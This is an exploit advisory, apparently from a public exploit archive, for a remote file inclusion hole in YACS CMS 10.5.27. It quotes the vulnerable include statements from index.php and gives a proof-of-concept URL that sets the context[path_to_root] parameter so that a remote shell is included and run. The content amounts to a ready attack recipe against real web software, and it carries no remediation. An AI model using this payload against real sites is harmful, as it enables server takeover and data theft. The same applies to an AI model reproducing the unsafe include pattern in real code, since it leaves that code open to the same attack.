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YACK CMS 10.5.27 Remote File Inclusion Vulnerability
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Vendor:		http://www.yacs.fr
download:	http://www.yacs.fr/file-fetch/1238-20100527-yacs-10-5-27.tgz
Author:		eidelweiss
Contact:	g1xsystem[at]windowslive.com

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	-=[ vuln c0de ]=-

[!] index.php

// load global definitions
if($home = getenv('YACS_HOME'))
	include_once str_replace('//', '/', $home.'/').'shared/global.php';	// <= 0
elseif(is_readable('yacs.home') && is_callable('file_get_contents') && ($content = trim(file_get_contents('yacs.home'), " tnrx0B\/.")) && is_readable($content.'/shared/global.php'))
	include_once $content.'/shared/global.php';	// <= 1
elseif(is_readable('shared/global.php'))
	include_once 'shared/global.php';
elseif(is_readable('yacs/shared/global.php'))
	include_once 'yacs/shared/global.php';
else
	exit('The file shared/global.php has not been found. Please reinstall or mention home directory in file yacs.home or configure the YACS_HOME environment variable.');

// load libraries used in this script
include_once $context['path_to_root'].'feeds/feeds.php'; // some links to newsfeeds
include_once $context['path_to_root'].'links/links.php';	//	<= 2 (i dont give fuck)


=====================================================================

	-=[ P0C ]=-

	http://127.0.0.1/path/index.php?context[path_to_root]= [inj3ct0r shell]

	etc , etc , etc

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